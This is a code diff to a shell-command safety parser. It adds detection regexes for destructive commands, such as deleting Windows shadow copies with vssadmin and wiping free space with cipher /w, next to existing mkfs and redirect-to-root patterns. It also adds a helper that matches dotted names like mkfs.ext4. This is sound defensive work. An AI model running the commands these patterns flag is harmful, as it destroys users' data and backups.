@@ -53,15 +72,30 @@ const DESTRUCTIVE_PATTERNS = [
53
72
  /mkfs\./i, // format filesystem
54
73
  />\s*\//i, // redirect to /
55
74
  />>\s*\//i, // append to /
75
+ // Arg-shaped destruction: the program alone is ordinary administration, so it
76
+ // is matched with its argument rather than added to the name table above.
77
+ /vssadmin\s+delete\s+shadows/i, // deletes every shadow copy (last local backup)
78
+ /cipher\s+\/w/i, // cipher /w overwrites free space
56
79
  ];
57
80
  export class ShellDangerousParser {
58
81
  name = 'shell-dangerous';
59
82
  priority = 20;
83
+ /**
84
+ * Level for a base name, tolerating the tool-suffix spelling real calls use.
85
+ *
86
+ * The table stores `mkfs`, the command on the wire is `mkfs.ext4` — so a plain
87
+ * lookup gave a format-the-disk Level 1 while the pattern route still flagged the
88
+ * command, leaving the two halves of this parser disagreeing about the same call
89
+ * (`irreversible.ts` already matches on the dotted prefix; now the parser does too).
90
+ */
91
+ levelOf(baseName) {
92
+ return DESTRUCTIVE_COMMANDS[baseName] ?? DESTRUCTIVE_COMMANDS[baseName.split('.')[0] ?? ''];
93
+ }
60
94
  canParse(command) {
61
95
  const cmd = command.trim().toLowerCase();
62
96
  const baseName = this.extractBaseName(cmd);
63
97
  // Check if it's a known destructive command
64
- if (DESTRUCTIVE_COMMANDS[baseName] !== undefined) {
98
+ if (this.levelOf(baseName) !== undefined) {
65
99
  return true;
66
100
  }
67
101
  // Check for PowerShell equivalents
@@ -75,7 +109,7 @@ export class ShellDangerousParser {
75
109
  const trimmed = command.trim();
76
110
  const cmd = trimmed.toLowerCase();
77
111
  const baseName = this.extractBaseName(cmd);
78
- let destructiveness = DESTRUCTIVE_COMMANDS[baseName] || 1;
112
+ let destructiveness = this.levelOf(baseName) || 1;
79
113
  let operation = baseName;
80
114
  let targets = [];
81
115
  let destructiveFlags = false;